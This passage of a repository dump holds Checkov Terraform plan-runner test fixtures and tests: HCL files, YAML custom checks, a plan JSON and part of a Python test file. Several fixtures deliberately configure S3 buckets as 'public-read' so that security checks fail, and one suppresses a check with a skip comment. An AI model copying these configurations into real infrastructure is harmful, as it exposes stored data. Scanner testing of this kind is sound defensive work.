    "content": "variable \"versioning_enabled\" {\n  default = true\n}\n\nvariable \"versioning_disabled\" {\n  default = false\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_value_without_var/variables_unscoped.tf",
    "content": "variable \"versioning_enabled_2\" {\n  default = true\n}\nvariable \"versioning_disabled_2\" {\n  default = false\n}\n\nlocals {\n  versioning_enabled = true\n  versioning_disabled = false\n}"
  },
  {
    "path": "tests/terraform/runner/resources/tf_raw_resource/main.tf",
    "content": "resource \"aws_s3_bucket\" \"my_bucket\" {\r\n  for_each = toset([\"logs\", \"assets\"])\r\n  bucket = \"${each.key}-bucket\"\r\n}"
  },
  {
    "path": "tests/terraform/runner/resources/tf_with_hcl_files/example_acl_fail.hcl",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket-hcl\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/tf_with_hcl_files/example_acl_fail.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/unbalanced_eval_brackets/main.tf",
    "content": "locals {\n  # This is intentionally missing the closing quote\n  s3_access_logs_prefix = \"${replace(var.cdn_logging_prefix, \"cdn\", \"s3\")/${var.bucket_name}}\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/unexpected/eks_node_group_remote_access.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.14.6\",\n    \"planned_values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"aws_eks_node_group.test\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_eks_node_group\",\n            \"name\": \"test\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"cluster_name\": \"test\",\n              \"force_update_version\": null,\n              \"labels\": null,\n              \"launch_template\": [],\n              \"node_group_name\": \"example\",\n              \"node_role_arn\": \"example-arn\",\n              \"remote_access\": [],\n              \"scaling_config\": [\n                {\n                  \"desired_size\": 1,\n                  \"max_size\": 1,\n                  \"min_size\": 1\n                }\n              ],\n              \"subnet_ids\": [\n                \"subnet-ids\"\n              ],\n              \"tags\": null,\n              \"timeouts\": null\n            }\n          }\n        ]\n      }\n    },\n    \"resource_changes\": [\n      {\n        \"address\": \"aws_eks_node_group.test\",\n        \"mode\": \"managed\",\n        \"type\": \"aws_eks_node_group\",\n        \"name\": \"test\",\n        \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"change\": {\n          \"actions\": [\n            \"create\"\n          ],\n          \"before\": null,\n          \"after\": {\n            \"cluster_name\": \"test\",\n            \"force_update_version\": null,\n            \"labels\": null,\n            \"launch_template\": [],\n            \"node_group_name\": \"example\",\n            \"node_role_arn\": \"example-arn\",\n            \"remote_access\": [],\n            \"scaling_config\": [\n              {\n                \"desired_size\": 1,\n                \"max_size\": 1,\n                \"min_size\": 1\n              }\n            ],\n            \"subnet_ids\": [\n              \"subnet-ids\"\n            ],\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"after_unknown\": {\n            \"ami_type\": true,\n            \"arn\": true,\n            \"capacity_type\": true,\n            \"disk_size\": true,\n            \"id\": true,\n            \"instance_types\": true,\n            \"launch_template\": [],\n            \"release_version\": true,\n            \"remote_access\": [],\n            \"resources\": true,\n            \"scaling_config\": [\n              {}\n            ],\n            \"status\": true,\n            \"subnet_ids\": [\n              false\n            ],\n            \"version\": true\n          }\n        }\n      }\n    ],\n    \"configuration\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"aws_eks_node_group.test\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_eks_node_group\",\n            \"name\": \"test\",\n            \"provider_config_key\": \"aws\",\n            \"expressions\": {\n              \"cluster_name\": {\n                \"constant_value\": \"test\"\n              },\n              \"node_group_name\": {\n                \"constant_value\": \"example\"\n              },\n              \"node_role_arn\": {\n                \"constant_value\": \"example-arn\"\n              },\n              \"scaling_config\": [\n                {\n                  \"desired_size\": {\n                    \"constant_value\": 1\n                  },\n                  \"max_size\": {\n                    \"constant_value\": 1\n                  },\n                  \"min_size\": {\n                    \"constant_value\": 1\n                  }\n                }\n              ],\n              \"subnet_ids\": {\n                \"constant_value\": [\n                  \"subnet-ids\"\n                ]\n              }\n            },\n            \"schema_version\": 0\n          }\n        ]\n      }\n    }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/unexpected/unexpected.md",
    "content": "# Unexpected\nThis folder is for different cases of test runner test data where the input HCL is maybe unexpectedly transformed when you see the json representation.\n\nThis area can be used to verify that certain checks are robust in catching issues which can't be caught by unit testing the HCL input level alone.\n\n## eks_node_group_remote_access\n### Description\n`remote_access` is omitted in HCL. But is represented as `remote_access: [ ]` in the Plan.\n\nThis needs to be taken in to account when writing the check.\n### HCL Input\n```\nresource \"aws_eks_node_group\" \"test\" {\n  cluster_name    = \"test\"\n  node_group_name = \"example\"\n  node_role_arn   = \"example-arn\"\n  subnet_ids      = [\"subnet-ids\"]\n  scaling_config {\n    desired_size = 1\n    max_size     = 1\n    min_size     = 1\n  }\n}\n```\n### JSON Output\n[eks_node_group_remote_access.json](eks_node_group_remote_access.json)\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/bucket_equals.yaml",
    "content": "metadata:\n  id: \"BUCKET_EQUALS\"\n  name: \"Ensure S3 bucket name is xyz\"\n  category: \"general\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"equals\"\n  value: \"xyz\"\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/bucket_exists.yaml",
    "content": "metadata:\n  id: \"BUCKET_EXISTS\"\n  name: \"Ensure S3 bucket name is present\"\n  category: \"general\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"bucket\"\n  operator: \"exists\"\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/component_equals.yaml",
    "content": "metadata:\n  id: \"COMPONENT_EQUALS\"\n  name: \"Ensure S3 bucket has a component tag\"\n  category: \"general\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"tags.component\"\n  operator: \"equals\"\n  value: \"xyz\"\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/component_exists.yaml",
    "content": "metadata:\n  id: \"COMPONENT_EXISTS\"\n  name: \"Ensure S3 bucket has a component tag\"\n  category: \"general\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  attribute: \"tags.component\"\n  operator: \"exists\"\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/nested.tf",
    "content": "\nvariable \"tags_without_component\" {\n  default = {\n    something = \"something\"\n  }\n}\n\nvariable \"tags_with_component\" {\n  default = {\n    component = \"xyz\"\n  }\n}\n\nvariable \"component\" {\n  default = \"xyz\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_nested_unknown\" {\n  tags = var.unknown_tags\n}\n\nresource \"aws_s3_bucket\" \"unknown_nested_2_pass\" {\n  tags = {\n    component = var.unknown_component\n  }\n}\n\nresource \"aws_s3_bucket\" \"known_nested_pass\" {\n  tags = var.tags_with_component\n}\n\nresource \"aws_s3_bucket\" \"known_nested_2_pass\" {\n  tags = {\n    component = var.component\n  }\n}\n\nresource \"aws_s3_bucket\" \"known_nested_fail\" {\n  tags = var.tags_without_component\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/unrendered_vars/simple.tf",
    "content": "variable \"bucket\" {\n  default = \"xyz\"\n}\n\nresource \"aws_s3_bucket\" \"unknown_simple\" {\n  bucket = var.unknown_bucket\n}\n\nresource \"aws_s3_bucket\" \"known_simple_pass\" {\n  bucket = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/valid_tf_only_failed_checks/example_acl_fail.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/valid_tf_only_module_usage/example.tf",
    "content": "module \"some-module\" {\n  source = \"git::ssh://github.com/example/module//s3/s3-logging?ref=tags/1.0.0\"\n}"
  },
  {
    "path": "tests/terraform/runner/resources/valid_tf_only_passed_checks/example.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n  versioning {\n    enabled    = true\n    mfa_delete = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl = \"private\"\n  tags = merge(\n      var.common_tags,\n  {\n    name = \"VM Virtual Machine\"\n    group = \"foo\"\n  }\n  )\n}\n\ndata \"aws_caller_identity\" \"current\" {}\n\nprovider \"kubernetes\" {\n  version                = \"1.10.0\"\n  host                   = module.aks_cluster.kube_config.0.host\n  client_certificate     = base64decode(module.aks_cluster.kube_config.0.client_certificate)\n  client_key             = base64decode(module.aks_cluster.kube_config.0.client_key)\n  cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\n}\n\nmodule \"new_relic\" {\n  source                            = \"s3::https://s3.amazonaws.com/my-artifacts/new-relic-k8s-0.2.5.zip\"\n  kubernetes_host                   = module.aks_cluster.kube_config.0.host\n  kubernetes_client_certificate     = base64decode(module.aks_cluster.kube_config.0.client_certificate)\n  kubernetes_client_key             = base64decode(module.aks_cluster.kube_config.0.client_key)\n  kubernetes_cluster_ca_certificate = base64decode(module.aks_cluster.kube_config.0.cluster_ca_certificate)\n  cluster_name                      = module.naming_conventions.aks_name\n  new_relic_license                 = data.vault_generic_secret.new_relic_license.data[\"license\"]\n  cluster_ca_bundle_b64             = module.aks_cluster.kube_config.0.cluster_ca_certificate\n  module_depends_on                 = [null_resource.delay_aks_deployments]\n}"
  },
  {
    "path": "tests/terraform/runner/resources/valid_tf_only_passed_checks/example_skip_acl.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n  #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"public-read\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/valid_tf_only_resource_usage/example.tf",
    "content": "resource \"type_1\" \"resource\" {\n  a = 1\n}\n\nresource \"type_2\" \"resource\" {\n  b = 2\n}\n"
  },
  {
    "path": "tests/terraform/runner/test_plan_runner.py",
    "content": "import itertools\nimport os\nimport unittest\nfrom collections import defaultdict\nfrom copy import deepcopy\nfrom pathlib import Path\nfrom typing import Dict, Any\nfrom unittest import mock\n\nfrom parameterized import parameterized_class\n\n# do not remove - prevents circular import\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import BcSeverities, Severities\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform import TFDefinitionKey\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.terraform.plan_runner import Runner, resource_registry\nfrom checkov.terraform.plan_utils import get_entity_id\n\n\n@parameterized_class([\n    {\"db_connector\": NetworkxConnector},\n    {\"db_connector\": RustworkxConnector},\n])\nclass TestRunnerValid(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls) -> None:\n        cls.orig_checks = deepcopy(resource_registry.checks)\n        cls.orig_all_registered_checks = deepcopy(BaseCheckRegistry._BaseCheckRegistry__all_registered_checks)\n        cls.db_connector = cls.db_connector\n\n    def test_py_graph_check(self):\n        if not self.db_connector == RustworkxConnector:\n            return\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/resources/py_graph_check_tf_plan\"\n        valid_dir_path_for_external_check = current_dir + '/py_check_tf_plan'\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_99999']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=[valid_dir_path_for_external_check],\n                            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist))\n        assert len(report.passed_checks) == 3\n\n    def test_runner_two_checks_only(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = [\"CKV_AWS_21\"]\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"], checks=checks_allowlist),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        for record in report.failed_checks:\n            self.assertIn(record.check_id, checks_allowlist)\n        self.assertEqual(report.get_summary()[\"failed\"], 3)\n        self.assertEqual(report.get_summary()[\"passed\"], 3)\n\n    def test_tf_plan_filtered_rule(self):\n        if not self.db_connector == RustworkxConnector:\n            return\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tf_plan_filtered_rule_success.json\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_300']\n        report = runner.run(files=[valid_plan_path], runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist))\n        assert len(report.passed_checks) == 1\n\n    def test_tf_plan_filtered_rule(self):\n        if not self.db_connector == RustworkxConnector:\n            return\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tf_plan_filtered_rule_fail.json\"\n        runner = Runner(db_connector=self.db_connector())\n        checks_allowlist = ['CKV_AWS_300']\n        report = runner.run(files=[valid_plan_path], runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist))\n        assert len(report.failed_checks) == 1\n\n    def test_runner_record_severity(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_db_instance\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        checks_allowlist = [custom_check_id]\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist),\n        )\n\n        self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW])\n\n    def test_runner_check_severity_filter_omit(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_db_instance\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        checks_allowlist = ['MEDIUM']\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_check_severity_filter_include(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_db_instance\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n        checks_allowlist = ['MEDIUM']\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=checks_allowlist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_check_skip_filter_omit(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_db_instance\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        checks_denylist = ['MEDIUM']\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], skip_checks=checks_denylist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_runner_check_skip_filter(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_db_instance\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n        checks_denylist = ['MEDIUM']\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], skip_checks=checks_denylist),\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_plan_runner_with_empty_vpc_connection(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan/tfplan.json\"\n        runner = Runner()\n        runner.graph_registry.checks = []\n\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 107)\n\n    def test_runner_child_modules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_with_child_modules/tfplan.json\"\n        runner = Runner()\n        runner.graph_registry.checks = []\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 3)\n        self.assertEqual(report.get_summary()[\"passed\"], 5)\n\n    def test_runner_nested_child_modules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_nested_child_modules/tfplan.json\"\n        runner = Runner()\n        runner.graph_registry.checks = []\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=[current_dir + \"/extra_yaml_checks\"],\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 15)\n        self.assertEqual(report.get_summary()[\"passed\"], 3)\n\n        failed_check_ids = set([c.check_id for c in report.failed_checks])\n        expected_failed_check_ids = {\n            \"CKV_AWS_37\",\n            \"CKV_AWS_38\",\n            \"CKV_AWS_39\",\n            \"CKV_AWS_58\",\n            \"CUSTOM_GRAPH_AWS_1\"\n        }\n\n        assert failed_check_ids == expected_failed_check_ids\n\n        # reset graph checks\n        runner.graph_registry.checks = []\n        runner.graph_registry.load_checks()\n\n    def test_runner_root_module_resources_no_values(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_root_module_resources_no_values/tfplan.json\"\n        runner = Runner()\n        runner.graph_registry.checks = []\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        # 4 checks fail on test data for single eks resource as of present\n        # If more eks checks are added then this number will need to increase correspondingly to reflect\n        # This reasoning holds for all current pass/fails in these tests\n        self.assertEqual(report.get_summary()[\"failed\"], 4)\n        self.assertEqual(report.get_summary()[\"passed\"], 1)\n\n        failed_check_ids = set([c.check_id for c in report.failed_checks])\n        expected_failed_check_ids = {\n            \"CKV_AWS_37\",\n            \"CKV_AWS_38\",\n            \"CKV_AWS_39\",\n            \"CKV_AWS_58\",\n        }\n\n        assert failed_check_ids == expected_failed_check_ids\n\n        # reset graph checks\n        runner.graph_registry.checks = []\n        runner.graph_registry.load_checks()\n\n    def test_runner_root_module_resources_no_values_route53(self):\n        #given\n        plan_file = Path(__file__).parent / \"resources/plan_root_module_resources_no_values/tfplan_route53.json\"\n\n        # when\n        report = Runner().run(\n            root_folder=None,\n            files=[str(plan_file)],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"terraform_plan\"], checks=[\"CKV2_AWS_38\", \"CKV2_AWS_39\"]),\n        )\n\n        # then\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"passed\"], 1)\n\n        passed_check_ids = set(c.check_id for c in report.passed_checks)\n        expected_passed_check_ids = {\"CKV2_AWS_39\"}\n\n        self.assertCountEqual(passed_check_ids, expected_passed_check_ids)\n\n    def test_runner_data_resource_partial_values(self):\n        # In rare circumstances a data resource with partial values in the plan could cause false negatives\n        # Often 'data' does not even appear in the *_modules[x].resources field within planned_values and is not scanned as expected\n        # It can occur when tf module B depends on tf module A\n        # And tf module A creates a resource that is used in a data block in tf module B\n        # So some values can be known but other are not at plan time\n        # This can cause the data block resource to be scanned as if it were a managed resource which is not configured correctly\n        # See 'Modes': https://www.terraform.io/docs/internals/json-format.html#values-representation\n        # This test verifies that such a circumstance stops occurring\n        # There is a EKS Managed Resource and a EKS Data Resource\n        # The EKS Managed Resource should have 4 failures corresponding with EKS checks.\n        # The EKS Data Resource should not be scanned. Previously this would cause 8 failures.\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_plan_path = current_dir + \"/resources/plan_data_resource_partial_values/tfplan.json\"\n        runner = Runner()\n        report = runner.run(\n            root_folder=None,\n            files=[valid_plan_path],\n            external_checks_dir=None,\n            runner_filter=RunnerFilter(framework=[\"all\"]),\n        )\n        report_json = report.get_json()\n        self.assertIsInstance(report_json, str)\n        self.assertIsNotNone(report_json)\n        self.assertIsNotNone(report.get_test_suite())\n        self.assertEqual(report.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 1)\n        self.assertEqual(report.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}), 0)\n\n        self.assertEqual(report.get_summary()[\"failed\"], 4)\n        self.assertEqual(report.get_summary()[\"passed\"], 1)\n\n        failed_check_ids = set([c.check_id for c in report.failed_checks])\n        expected_failed_check_ids = {\n            \"CKV_AWS_37\",\n            \"CKV_AWS_38\",\n            \"CKV_AWS_39\",\n            \"CKV_AWS_58\",\n        }\n\n        assert failed_check_ids == expected_failed_check_ids\n\n    def test_runner_root_dir(self):\n        current_dir = 